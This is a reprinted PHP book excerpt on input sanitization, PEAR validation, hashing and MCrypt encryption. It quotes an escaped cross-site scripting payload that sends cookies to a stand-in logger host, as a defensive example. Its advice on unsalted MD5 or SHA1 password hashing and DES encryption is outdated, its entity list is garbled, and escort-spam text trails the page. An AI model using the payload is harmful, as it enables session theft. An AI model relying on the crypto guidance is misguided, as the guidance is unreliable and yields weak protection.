Secure Encrypting and Decrypting for Your PHP Website

In this conclusion to a three-part series on secure PHP programming, you’ll learn how to validate inputs, handle hashing, use the MCrypt package, and more. This article is excerpted from chapter 21 of the book Beginning PHP and Oracle: From Novice to Professional, written by W. Jason Gilmore and Bob Bryla (Apress; ISBN: 1590597702).

Converting Input into HTML Entities

The htmlentities() function converts certain characters that have special meaning in an HTML context to strings that a browser can render as provided rather than execute them as HTML. Its prototype follows:

string htmlentities(string input [, int quote_style [, string charset]])

Five characters in particular are considered special by this function:

  1. & will be translated to &
  2. " will be translated to "  (when quote_style is set to ENT_NOQUOTES
     
  3. > will be translated to > 
     
  4. < will be translated to &lt; 
     
  5. ‘ will be translated to &#039; (when quote_style is set to ENT_QUOTES )

Returning to the cross-site scripting example, if the user’s input is passed through htmlspecialchars() rather than embedded into the page and executed as JavaScript, the input would instead be displayed exactly as it is input because it would be translated like so:

&lt;script&gt;
document.location =’http://www.example.org/logger.php?cookie=’ +
                  document.cookie
&lt;/script&gt;

Stripping Tags from User Input

Sometimes it is best to completely strip user input of all HTML input, regardless of intent. For instance, HTML-based input can be particularly problematic when the information is displayed back to the browser, as is the case of a message board. The introduction of HTML tags into a message board could alter the display of the page, causing it to be displayed incorrectly or not at all. This problem can be eliminated by passing the user input through strip_tags() , which removes all HTML tags from a string. Its prototype follows:

string strip_tags(string str [, string allowed_tags])

The input parameter str is the string that will be examined for tags, while the optional input parameter allowed_tags specifies any tags that you would like to be allowed in the string. For example, italic tags ( <i></i> ) might be allowable, but table tags such as <td></td> could potentially wreak havoc on a page. An example follows:

<?php
   
$input = "I <td>really</td> love <i>PHP</i>!";
   
$input = strip_tags($input,"<i></i>");
   
// $input now equals "I really love <i>PHP</i>!"
?>

{mospagebreak title=Taking Advantage of PEAR: Validate}

While the functions described in the preceding section work well for stripping potentially malicious data from user input, what if you want to verify whether the provided data is a valid e-mail address (syntactically), or whether a number falls within a specific range? Because these are such commonplace tasks, a PEAR package called Validate can perform these verifications and more. You can also install additional rules for validating the syntax of localized data, such as an Australian phone number, for instance.

Installing Validate

To take advantage of Validate ’s features, you need to install it from PEAR. Therefore, start PEAR and pass along the following arguments:

%>pear install -a Validate-0.6.5

——————————————–
Starting to download Validate-0.6.5.tgz (16,296 bytes)
……done: 16,296 bytes
downloading Date-1.4.6.tgz …
Starting to download Date-1.4.6.tgz (53,535 bytes)
…done: 53,535 bytes
install ok: channel://pear.php.net/Date-1.4.6
install ok: channel://pear.php.net/Validate-0.6.5
——————————————–

The -a will result in the optional package dependency Date , also being installed. If you don’t plan on validating dates, you can omit this option. Also, in this example the version number is appended to the package; this is because at the time this was written, Validate was still in a beta state. Once it reaches a stable version there will be no need to include the version number.

Validating a String

Some data should consist only of numeric characters, alphabetical characters, a certain range of characters, or maybe even all uppercase or lowercase letters. You can validate such rules and more using Validate ’s string() method:

<?php
   
// Include the Validate package
   
require_once "Validate.php";

    // Retrieve the provided username
   
$username = $_POST['username'];

    // Instantiate the Validate class
    $validate = new Validate();

    // Determine if address is valid
    if($validate->string($username, array("format" => VALIDATE_ALPHA,
                         "min_length"=> "3", "max_length" => "15")))
        echo "Valid username!";
    else
        echo "The username must be between 3 and 15 characters in length!";
?>

Validating an E-mail Address

Validating an e-mail address’s syntax is a fairly difficult matter, requiring the use of a somewhat complex regular expression. The problem is compounded with most users’ lack of understanding regarding what constitutes a valid address. For example, which of the following three e-mail addresses are invalid?

john++ilove-pizza@example.com

john&sally4ever@example.com

i.brake4_pizza@example.co.uk

You might be surprised to learn they’re all valid! If you don’t know this and attempt to implement an e-mail validation function, it’s possible you could prevent a perfectly valid e-mail address from being processed. Why not leave it to the Validate package? Consider this example:

<?php 

    // Include the Validate package
   
require_once "Validate.php";

    // Retrieve the provided e-mail address
   
$email = $_POST['email'];

    // Instantiate the Validate class
   
$validate = new Validate();

    // Determine if address is valid
    if($validate->email($email))
        echo "Valid e-mail address!";
    else
        echo "Invalid e-mail address!";
?>

You can also determine whether the address domain exists by passing the option check_domain as a second parameter to the email() method, like this:

$validate->email($email, array("check_domain" => 1));

{mospagebreak title=Data Encryption}

Encryption can be defined as the translation of data into a format that is intended to be unreadable by anyone except the intended party. The intended party can then decode, or decrypt, the encrypted data through the use of some secret—typically a secret key or password. PHP offers support for several encryption algorithms. Several of the more prominent ones are described here.


Tip  For more information about encryption, pick up the book Applied Cryptography: Protocols, Algorithms, and Source Code in C, Second Edition by Bruce Schneier (John Wiley & Sons, 1995). 


PHP’s Encryption Functions

Prior to delving into an overview of PHP’s encryption capabilities, it’s worth discussing one caveat to their usage, which applies regardless of the solution. Encryption over the Web is largely useless unless the scripts running the encryption schemes are operating on an SSL-enabled server. Why? PHP is a server-side scripting language, so information must be sent to the server in plain-text format before it can be encrypted. There are many ways that an unwanted third party can watch this information as it is transmitted from the user to the server if the user is not operating via a secured connection. For more information about setting up a secure Apache server, check out http://www.apache-ssl.org . If you’re using a different Web server, refer to your documentation. Chances are that there is at least one, if not several, security solutions for your particular server. With that caveat out of the way, let’s review PHP’s encryption functions.

Encrypting Data with the md5() Hash Function

The md5() function uses MD5, which is a third-party hash algorithm often used for creating digital signatures (among other things). Digital signatures can, in turn, be used to uniquely identify the sending party. MD5 is considered to be a one-way hashing algorithm, which means there is no way to dehash data that has been hashed using md5() . Its prototype looks like this:

string md5(string str)

The MD5 algorithm can also be used as a password verification system. Because it is (in theory) extremely difficult to retrieve the original string that has been hashed using the MD5 algorithm, you could hash a given password using MD5 and then compare that encrypted password against those that a user enters to gain access to restricted information.

For example, assume that your secret password toystore has an MD5 hash of 745e2abd7c52ee1dd7c14ae0d71b9d76 . You can store this hashed value on the server and compare it to the MD5 hash equivalent of the password the user attempts to enter. Even if an intruder gets hold of the encrypted password, it wouldn’t make much difference because that intruder can’t return the string to its original format through conventional means. An example of hashing a string using md5() follows:

<?php
   
$val = "secret";
   
$hash_val = md5 ($val);
   
// $hash_val = "5ebe2294ecd0e0f08eab7690d2a6ee69";
?>

Remember that to store a complete hash, you need to set the field length to 32 characters.

The md5() function will satisfy most hashing needs. There is another much more powerful hashing alternative available via the mhash library. This library is introduced in the next section.

Using the mhash Library

mhash is an open source library that offers an interface to a wide number of hash algorithms. Authored by Nikos Mavroyanopoulos and Sascha Schumann, mhash can significantly extend PHP’s hashing capabilities. Integrating the mhash module into your PHP distribution is rather simple:

  1. Go to http://mhash.sourceforge.net and download the package source.
  2. Extract the contents of the compressed distribution and follow the installation instructions as specified in the INSTALL document. 
  3. Compile PHP with the –with-mhash option.   

On completion of the installation process, you have the functionality offered by mhash at your disposal. This section introduces mhash() , the most prominent of the five functions made available to PHP when the mhash extension is included.

Hashing Data with mhash

The function mhash() offers support for a number of hashing algorithms, allowing developers to incorporate checksums, message digests, and various other digital signatures into their PHP applications. Its prototype follows:

string mhash(int hash, string data [, string key])

Hashes are also used for storing passwords. mhash() currently supports the hashing algorithms listed here:

  1. ADLER32 
     
  2. CRC32 
     
  3. CRC32B 
     
  4. GOST 
     
  5. HAVAL 
     
  6. MD4 
     
  7. MD5 
     
  8. RIPEMD128 
     
  9. RIPEMD160 
     
  10. SHA1 
     
  11. SNEFRU 
     
  12. TIGER

Consider an example. Suppose you want to immediately encrypt a user’s chosen password at the time of registration (which is typically a good idea). You could use mhash() to do so, setting the hash parameter to your chosen hashing algorithm, and data to the password you want to hash:

<?php
   
$userpswd = "mysecretpswd";
   
$pswdhash = mhash(MHASH_SHA1, $userpswd);
   
echo "The hashed password is: ".bin2hex($pswdhash);
?>

This returns the following:

——————————————–
The hashed password is: 07c45f62d68d6e63a9cc18a5e1871438ba8485c2
——————————————–

Note that you must use the bin2hex() function to convert the hash from binary mode to hexadecimal so that it can be formatted in a fashion easily viewable within a browser.

Via the optional parameter key , mhash() is also capable of determining message integrity and authenticity. If you pass in the message’s secret key, mhash() will validate whether the message has been tampered with by returning the message’s Hashed Message Authentication Code (HMAC). You can think of the HMAC as a checksum for encrypted data. If the HMAC matches the one that would be published along with the message, the message has arrived undisturbed.

{mospagebreak title=The MCrypt Package}

MCrypt is a popular data-encryption package available for use with PHP, providing support for two-way encryption (i.e., encryption and decryption). Before you can use it, you need to follow these installation instructions:

  1. Go to http://mcrypt.sourceforge.net/ and download the package source. 
     
  2. Extract the contents of the compressed distribution and follow the installation instructions as specified in the INSTALL document. 
     
  3. Compile PHP with the –with-mcrypt option.

MCrypt supports a number of encryption algorithms, all of which are listed here:

  1. ARCFOUR 
     
  2. ARCFOUR_IV 
     
  3. BLOWFISH 
     
  4. CAST 
     
  5. CRYPT 
     
  6. DES 
     
  7. ENIGMA 
     
  8. GOST 
     
  9. IDEA 
     
  10. LOKI97 
     
  11. MARS 
     
  12. PANAMA 
     
  13. RC (2, 4) 
     
  14. RC6 (128, 192, 256) 
     
  15. RIJNDAEL (128, 192, 256) 
     
  16. SAFER (64, 128, and PLUS) 
     
  17. SERPENT (128, 192, and 256) 
     
  18. SKIPJACK 
     
  19. TEAN 
     
  20. THREEWAY 
     
  21. 3DES 
     
  22. TWOFISH (128, 192, and 256) 
     
  23. WAKE 
     
  24. XTEA

This section introduces just a sample of the more than 35 functions made available via this PHP extension. For a complete introduction, consult the PHP manual.

Encrypting Data with MCrypt

The mcrypt_encrypt() function encrypts the provided data, returning the encrypted result. The prototype follows:

string mcrypt_encrypt(string cipher, string key, string data,
                      string mode [, string iv])

The provided cipher names the particular encryption algorithm, and the parameter key determines the key used to encrypt the data. The mode parameter specifies one of the six available encryption modes: electronic codebook, cipher block chaining, cipher feedback, 8-bit output feedback, N-bit output feedback, and a special stream mode. Each is referenced by an abbreviation: ecb , cbc , cfb , ofb , nofb , and stream , respectively. Finally, the iv parameter initializes cbc , cfb , ofb , and certain algorithms used in stream mode. Consider an example:

<?php
   
$ivs = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_CBC);
   
$iv = mcrypt_create_iv($ivs, MCRYPT_RAND);
   
$key = "F925T";
   
$message = "This is the message I want to encrypt.";
   
$enc = mcrypt_encrypt(MCRYPT_DES, $key, $message, MCRYPT_MODE_CBC, $iv);
   
echo bin2hex($enc);
?>

This returns the following:

——————————————–
f5d8b337f27e251c25f6a17c74f93c5e9a8a21b91f2b
1b0151e649232b486c93b36af467914bc7d8
——————————————–

You can then decrypt the text with the mcrypt_decrypt() function, introduced next.

Decrypting Data with MCrypt

The mcrypt_decrypt() function decrypts a previously encrypted cipher, provided that the cipher, key, and mode are the same as those used to encrypt the data. Its prototype follows:

string mcrypt_decrypt(string cipher, string key, string data,
                      string mode [, string iv])

Go ahead and insert the following line into the previous example, directly after the last statement:

echo mcrypt_decrypt(MCRYPT_DES, $key, $enc, MCRYPT_MODE_CBC, $iv);

This returns the following:

——————————————–
This is the message I want to encrypt.
——————————————–

The methods in this section are only those that are in some way incorporated into the PHP extension set. However, you are not limited to these encryption/hashing solutions. Keep in mind that you can use functions such as popen() or exec() with any of your favorite third-party encryption technologies, for example, PGP ( http://www.pgpi.org/ ) or GPG ( http://www.gnupg.org/ ).

Summary

Hopefully the material presented in this chapter provided you with a few important tips and, more importantly, got you thinking about the many attack vectors that your application and server face. However, it’s important to understand that the topics described in this section are but a tiny sliver of the total security pie. If you’re new to the subject, take some time to learn more about some of the more prominent security-related Web sites.

Regardless of your prior experience, you need to devise a strategy for staying abreast of breaking security news. Subscribing to the newsletters both from the more prevalent security-focused Web sites and from the product developers may be the best way to do so. However, your strategic preference is somewhat irrelevant; what is important is that you have a strategy and stick to it, lest your castle be conquered.  

[gp-comments width="770" linklove="off" ]

antalya escort bayan antalya escort bayan Antalya escort diyarbakir escort